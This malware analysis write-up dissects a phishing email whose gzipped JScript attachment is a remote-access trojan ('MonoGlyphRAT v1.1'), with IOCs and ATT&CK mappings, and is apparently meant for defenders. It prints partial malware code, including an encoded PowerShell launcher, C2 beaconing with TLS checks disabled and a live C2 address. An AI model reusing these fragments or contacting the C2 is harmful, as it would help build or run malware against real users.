QUOTATION 2026-009-036
On September 9 2026, 10:36 UTC, I received an email with the following details:
| From | Subject | Sender address | Sender IP |
|---|---|---|---|
| “Billian Liao” <dennis@elsserv.com> | QUOTATION 2026-009-036 | dennis@elsserv.com | 74.208.12.112 |
The sender domain has not configured DKIM and DMARC and the SPF check passed. The sender IP also matches the A record of the domain which was registered 11 years ago. The website offers an Electronic Litigation Support service and the sender address is listed in its contacts. This is consistent with compromise of the sender address or abuse of the associated mail infrastructure.
The email contains the following attachment:
| Name | Type | Magic | SHA256 |
|---|---|---|---|
| QUOTE 2026-009-036.gz | GZIP | gzip compressed data, was “QUOTE 2026-009-036.js”, last modified: Wed Sep 9 09:44:54 2026, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 269329 | 0159522bcc9567048cb60126ea1b40fa |
Analysis
Decompressing yields the file “QUOTE 2026-009-036.js”, which is obfuscated via “Obfuscator.io” and I deobfuscated using webcrack. The script is a new variant (v1.1) of a sample I had previously analysed, which ANY.RUN researchers later named “MonoGlyphRAT”1. As before, much of the implementation will be omitted to prevent reproduction of the malware.
Environment Setup
Status Enum
The enum which represented the status of an Exec() call
is removed in this build and the status check against its
“Finished” value is replaced with a hardcoded comparison.
Command Enum
The “GetPayload” command (vc parameter)
which was unused in v1.0 has been removed.
v1.0
(function (p56) {
p56.GetFile = "ex";
p56.GetLoader = "sb";
p56.GetPayload = "vc";
p56.GetProperties = "df";
p56.GetUpdate = "kp";
p56.GetShell = "tw";
})(v19 ||= {});
v1.1
(function (P) {
P.GetFile = "ex";
P.GetLoader = "sb";
P.GetProperties = "df";
P.GetUpdate = "kp";
P.GetShell = "tw";
})(D ||= {});
JSON Serialisation
The implementation of the JSON serialisation class K remains the same.
Abstraction Layer
Operating System
The z class, which implements abstractions for OS operations,
now incorporates the callback functions as well as “Initialize”
and “Run” which were implemented in a separate class in v1.0.
- The function
OpenFilewhich was unused in v1.0 has been removed. - The functions
GetCurrentScriptFile,GetScriptHostFile, andRunScripthave been moved to other classes. - The function
QueryWMIServicehas been renamed toQueryWMIand its implementation has changed. It creates a freshSWbemLocatorCOM object2 on every call, connects to the local machine’s CIM repository, and executes a WMI query. The result is a COM collection which is walked using a JScriptEnumeratorand each element is pushed into the returned array. - The properties
wscriptShellandObjecthave been renamed toHostandShellrespectively.
var z = function () {
function _Z() {}
_Z.AddExitCallback = function (O) { /* omitted */ };
_Z.RemoveExitCallback = function (O) { /* omitted */ };
_Z.DoExitCallback = function () { /* omitted */ };
_Z.Initialize = function () { /* omitted */ };
_Z.CreateObject = function (O) { /* omitted */ };
_Z.Exec = function (O) { /* omitted */ };
_Z.Exit = function (O) { /* omitted */ };
_Z.GetArguments = function () { /* omitted */ };
_Z.GetCurrentDirectory = function () { /* omitted */ };
_Z.GetEnviromentVariable = function (O) { /* omitted */ };
_Z.QueryWMI = function (O, I) {
var W = _Z.CreateObject("WbemScripting.SWbemLocator").ConnectServer(".", "root\\cimv2").ExecQuery("SELECT " + I + " FROM " + O);
for (var m = new Enumerator(W), q0 = []; !m.atEnd(); m.moveNext()) {
q0.push(m.item()[I]);
}
return q0;
};
_Z.Run = function (O, I, W) { /* omitted */ };
_Z.Sleep = function (O) { /* omitted */ };
_Z.ExitCallbacks = [];
_Z.Host = WSH;
_Z.Shell = _Z.CreateObject("Wscript.Shell");
return _Z;
}();
File System
The v class implements abstractions for file system operations.
The function GetFileSystemObject which lazy-loaded FileSystemObject
has been replaced with the property “FileSystemObject”.
v1.0
var vF5 = function () {
function f5(p42, p43) { /* omitted */ }
f5.GetFileSystemObject = function () {
if (f5.fso == null) {
f5.fso = vVF3.CreateObject("Scripting.FileSystemObject");
}
return f5.fso;
};
// ...
return f5;
}();
v1.1
var v = function () {
function V(R, Z) { /* omitted */ }
// ...
V.FileSystemObject = z.CreateObject("Scripting.FileSystemObject");
return V;
}();
The GetParent method has been renamed to GetParentPath
and the GetParentFile method has been renamed to GetParent.
Also, it now calls the String.IsNullOrWhiteSpace helper function
instead of performing the same check directly.
v1.0
f5.prototype.GetParent = function () { /* omitted */ };
f5.prototype.GetParentFile = function () {
var v82 = this.GetParent();
if (v82 == null || v82 == "") {
return null;
} else {
return new f5(v82);
}
};
v1.1
V.prototype.GetParentPath = function () { /* omitted */ };
V.prototype.GetParent = function () {
var R = this.GetParentPath();
if (!String.IsNullOrWhiteSpace(R)) {
return new V(R);
}
};
The CreateParentPath method calls the CreateFolder method of the
FileSystemObject directly instead of using MakeDirectries [sic]
which has been removed. It also checks if the parent path is blank and
not just null and wraps the folder creation in a try-catch block.
v1.0
f5.prototype.CreateParentPath = function () {
var v74 = this.GetParentFile();
return v74 == null || !!v74.Exists() || v74.MakeDirectries();
};
// ...
f5.prototype.MakeDirectries = function () {
return !this.Exists() && (f5.GetFileSystemObject().CreateFolder(this.GetPath()), true);
};
v1.1
V.prototype.CreateParentPath = function () {
var Z = this.GetParentPath();
if (String.IsNullOrWhiteSpace(Z)) {
return true;
}
try {
return !!V.FileSystemObject.FolderExists(Z) || V.FileSystemObject.CreateFolder(Z) != null;
} catch (W) {
return false;
}
};
The GetExtension method calls the GetExtensionName method
of the FileSystemObject instead of calling the now removed
GetName method and keeping the substring after the last dot.
v1.0
f5.prototype.GetExtension = function () {
var v79 = this.GetName();
var v80 = v79.lastIndexOf(".");
if (v80 > -1) {
return v79.substring(v80 + 1);
} else {
return null;
}
};
f5.prototype.GetName = function () { /* omitted */ };
v1.1
V.prototype.GetExtension = function () {
var R = V.FileSystemObject.GetExtensionName(this.path);
if (!String.IsNullOrWhiteSpace(R)) {
return R;
}
};
The newly added function WriteText creates a text file at
the given path and writes a string to it.
V.WriteText = function (R, Z, O) {
try {
Z.CreateParentPath();
var W = V.FileSystemObject.CreateTextFile(Z.GetPath(), true, O);
W.Write(R);
W.Close();
return true;
} catch (q1) {
return false;
}
};
Core Utilities
The B / Y class provides various utilities for encoding, WMI queries, and command execution.
Many of the function implementations now employ obfuscation techniques to obscure the underlying
logic, such as identifier mangling, opaque predicates, function indirection, and dead code insertion.
var B = function () {
// ...
function R() {}
// ...
R.SALTCHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
R.BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
return R;
}();
var Y = B;
The encoding functions AsciiToHex and HexToAscii have been removed,
StringToUTF16Bytes has been renamed to UTF16_GetBytes, and
its inverse function UTF16_GetString has been added.
The DownloadFile function which was unused in v1.0 has been removed.
The GetScriptHostFile function has been moved to this class.
R.GetScriptHostFile = function () {
return new v(z.Host.FullName);
};
The RunScript function has been moved to this class and renamed to RunJScript.
Also, the status check uses a hardcoded number as the corresponding enum has been removed.
v1.0
f3.RunScript = function (p22) {
/* omitted */
var v28 = f3.Exec(v25);
f3.Sleep(400);
return v28.Status <= v.Finished;
};
v1.1
R.RunJScript = function (Z) {
/* omitted */
var q2 = z.Exec(m);
z.Sleep(400);
return q2.Status <= 1;
};
The RunPowershell function constructs the command as a string rather than an array.
v1.0
f4.RunPowerShell = function (p27, p28 = true) {
var v37 = f4.StringToUTF16Bytes(p27);
var v38 = ["powershell", "-nop", "-enc", "\"" + f4.BytesToBase64(v37) + "\""];
return vVF3.Run(v38, 0, p28) == 0;
};
v1.1
R.RunPowerShell = function (Z, O = true) {
var W = R.UTF16_GetBytes(Z);
var m = R.BytesToBase64(W);
var q0 = `powershell -nop -enc "${m}"`;
return z.Run(q0, 0, O) == 0;
};
The XorEncryptDecrypt function now operates in place on a UTF-16
byte array, XORing each byte with the repeating key, whereas in v1.0
it operated on a string and XORed each 16-bit character code with an
8-bit key, leaving the high byte unchanged for non-ASCII characters.
v1.0
f4.XorEncryptDecrypt = function (p40, p41) {
var v68 = "";
for (var v69 = 0; v69 < p40.length; v69++) {
var v70 = p40.charCodeAt(v69);
var v71 = p41[v69 % p41.length];
v68 += String.fromCharCode(v70 ^ v71);
}
return v68;
};
v1.1
R.XorEncryptDecrypt = function (Z, O) {
for (var I = 0; I < Z.length; I++) {
var W = Z[I];
var m = O[I % O.length];
Z[I] = W ^ m;
}
};
The alphabet used in the GetRandomString function has been moved to
the SALTCHARS property rather than hardcoded within the function.
v1.0
f4.GetRandomString = function (p31) {
var v39 = new Array(p31);
for (var v40 = 0; v40 < p31; v40++) {
var v41 = f4.GetRandonNumber(35);
v39[v40] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".charAt(v41);
}
return v39.join("");
};
v1.1
R.GetRandomString = function (Z) {
var O = R.SALTCHARS.length - 1;
var I = new Array(Z);
for (var W = 0; W < Z; W++) {
var m = R.GetRandonNumber(O);
I[W] = R.SALTCHARS.charAt(m);
}
return I.join("");
};
Execution Engine
Anti-analysis Logic
The implementation of the junk operation class j remains the same.
Fake Multi-Threading
The implementation of the fake multi-threading class M also remains the same.
Command Handling
The H class is responsible for handling commands received from
the C2 server through the X-A response header just like in v1.0.
var H = function () {
function _R() {}
// ...
return _R;
}();
The main difference is that the PowerShell templates are no longer hardcoded in the script
but are instead lazily requested from the C2 server with the fp parameter set to “1”.
_R.ExecuteFile = function (Z, O) {
try {
/* omitted */
if (String.IsNullOrWhiteSpace(_R.File)) {
_R.File = b.DownloadString(q3 + "&fp=1");
}
/* omitted */
} catch (q8) {}
};
_R.LoadProcess = function (Z, O) {
try {
/* omitted */
if (String.IsNullOrWhiteSpace(_R.PowerShell)) {
_R.PowerShell = b.DownloadString(q0 + "&fp=1");
}
/* omitted */
} catch (q5) {}
};
_R.StartShell = function (Z, O) {
try {
/* omitted */
if (String.IsNullOrWhiteSpace(_R.Shell)) {
_R.Shell = b.DownloadString(q0 + "&fp=1");
}
/* omitted */
} catch (q3) {}
};
Additionally, the GetProperties function, which exfiltrates
detailed computer info and running processes, now sends
the data as a POST body instead of a GET query string.
Also, the UpdateClient function downloads the update from the
C2 server and writes it to disk directly, rather than calling
a PowerShell template to download and decrypt the payload.
_R.UpdateClient = function (Z, O) {
try {
/* omitted */
if (q0.Status == 200) {
var q1 = v.CreateTemporaryFile("js");
if (v.WriteText(q0.ResponseText, q1, true)) {
Z.Client.Update(q1);
}
}
/* omitted */
} catch (q5) {
/* omitted */
}
};
C2 Communication
The J class handles the communication with the C2 server, receiving the
session identifier through the X-S response header just like in v1.0.
var J = function () {
function V(R, Z) { /* omitted */ }
// ...
return V;
}();
All communication is now performed over HTTPS using the WinHttp.WinHttpRequest.5.1
COM object. This includes the Connect and Ping methods of the J class, as well
as the GetProperties and UpdateClient functions of the H class. Server
certificate errors are ignored by setting the WinHttpRequestOption_SslErrorIgnoreFlags
option (index 4) to the value 13056 (0x3300)3.
The Ping method now sends a GET request instead of POST and includes a
cache-busting parameter named “_nocache” that is set to the current timestamp.
v1.0
f9.prototype.Ping = function () {
try {
var v130 = vVF3.CreateObject("MSXML2.XMLHTTP");
v130.open("POST", this.HOST + "?ia=" + this.IDENTIFIER, false);
v130.send();
/* omitted */
} catch (fFFFFFfFffFFffff) {
/* omitted */
}
};
v1.1
V.prototype.Ping = function () {
try {
var Z = "?ia=" + this.IDENTIFIER + "&_nocache=" + new Date().getTime();
var O = z.CreateObject("WinHttp.WinHttpRequest.5.1");
O.Open("GET", this.HOST + Z, false);
b.SetOption(O, 4, 13056);
O.Send();
/* omitted */
} catch (m) {
/* omitted */
}
};
The Idle method has been removed and the connection state modifications it performed
are now inlined in the corresponding branch of the Handle function of the H class.
Additionally, the new b class is introduced which provides HTTP utility functions.
DownloadStringsends a request to the given URL and returns the response text.GetResponseHeaderreturns a certain header from an HTTP response.SetOption&InternalSetOptionset the value of an HTTP request option.
var b = function () {
function V() {}
V.DownloadString = function (R) { /* omitted */ };
V.GetResponseHeader = function (R, Z) { /* omitted */ };
V.SetOption = function (R, Z, O) {
V.InternalSetOption(R, Z, O);
};
V.InternalSetOption = new Function("o", "i", "v", "o.Option(i) = v;");
return V;
}();
Entry Point
The A / U class implements the main entry point.
function w() {}
var A = function (P) {
function R() {
return P !== null && P.apply(this, arguments) || this;
}
k(R, P);
// ...
return R;
}(w);
var U = A;
In the original TypeScript code, before transpilation and obfuscation,
it extended the currently empty w base class, as indicated by the
__extends helper generated by TypeScript.
var F;
var k = undefined && undefined.__extends || (F = function (P, V) {
F = Object.setPrototypeOf || {
__proto__: []
} instanceof Array && function (O, I) {
O.__proto__ = I;
} || function (O, I) {
for (var m in I) {
if (Object.prototype.hasOwnProperty.call(I, m)) {
O[m] = I[m];
}
}
};
return F(P, V);
}, function (P, V) {
if (typeof V != "function" && V !== null) {
throw new TypeError("Class extends value " + String(V) + " is not a constructor or null");
}
function R() {
this.constructor = P;
}
F(P, V);
P.prototype = V === null ? Object.create(V) : (R.prototype = V.prototype, new R());
});
The class methods are implemented in the same way as v1.0 with the exception of the
MeltOriginalFile check being used only in TryInstallClient and removed from
TryUpdateClient, which now unconditionally removes the original file after the update.
The C2 server in this sample is “https://45.141.148.134:2002/AymxbQ” and the following configuration properties are set:
R.Installed = false;
R.Identifier = "cf221ab7-7093-4e24-8a0e-0c997bda78e8";
R.UpdateClient = "--update";
R.DelayedConnect = "UWoTDGPb";
R.InstantConnect = "juwLvZVmV";
R.PathName = "APPDATA";
R.FolderName = "idPmHmQcrY";
R.FileName = "nCTHQqOiohsixdVHunXcFnoqSFRDqo";
R.DecryptionKey = "";
R.ConnectionMode = "0";
R.ConnectionDelay = "0";
R.InstallationDelay = "0";
R.InstallClient = "1";
R.MeltOriginalFile = "0";
R.OnExecutionType = "-1";
R.OnExecutionValue = "";
R.OnInstallationType = "-1";
R.OnInstallationValue = "";
The decoy PDF has been removed, but a single sample is not enough to surmise whether this is the default for the v1.1 variant or only changed in this specific sample.
Summary
MonoGlyphRAT v1.1 is a modified variant of the original v1.0 with a reorganised class structure, fixed XOR encryption for UTF-16 characters, and additional obfuscation in utility functions. The PowerShell script templates are no longer embedded in the script but are instead fetched from the C2 server at runtime, preventing static recovery. All C2 communication has moved from HTTP to HTTPS with certificate validation suppressed, and the “GetProperties” exfiltration command sends a POST request instead of GET, while the keep-alive ping sends a GET request instead of POST.
Indicators of Compromise
| Type | Value | Links | Comment |
|---|---|---|---|
| dennis@elsserv.com | N/A | Sender address | |
| Domain | elsserv.com | MXToolBox VirusTotal | Sender domain |
| IP | 74.208.12.112 | AbuseIPDB | Sender IP |
| IP | 45.141.148.134 | AbuseIPDB | C2 IP |
| Hash | 0159522bcc9567048cb60126ea1b40fa | VirusTotal Triage | QUOTE 2026-009-036.gz |
| Hash | c71104d6d1ec4bc0c1a3c785469d9621 | VirusTotal Hybrid Analysis | QUOTE 2026-009-036.js |
| Path | %APPDATA%\idPmHmQcrY\nCTHQqOiohsixdVHunXcFnoqSFRDqo.js | Persistence | |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\idPmHmQcrY | Persistence |
MITRE ATT&CK® Techniques
| Tactic | Technique |
|---|---|
| Resource Development | T1586.002 - Compromise Accounts: Email Accounts |
| Initial Access | T1566.001 - Phishing: Spearphishing Attachment |
| Execution | T1204.002 - User Execution: Malicious File |
| Execution | T1059.007 - Command and Scripting Interpreter: JavaScript |
| Execution | T1059.001 - Command and Scripting Interpreter: PowerShell |
| Persistence | T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Stealth | T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File |
| Stealth | T1027.016 - Obfuscated Files or Information: Junk Code Insertion |
| Stealth | T1070.010 - Indicator Removal: Relocate Malware |
| Discovery | T1082 - System Information Discovery |
| Discovery | T1057 - Process Discovery |
| Command and Control | T1071.001 - Application Layer Protocol: Web Protocols |
| Exfiltration | T1041 - Exfiltration Over C2 Channel |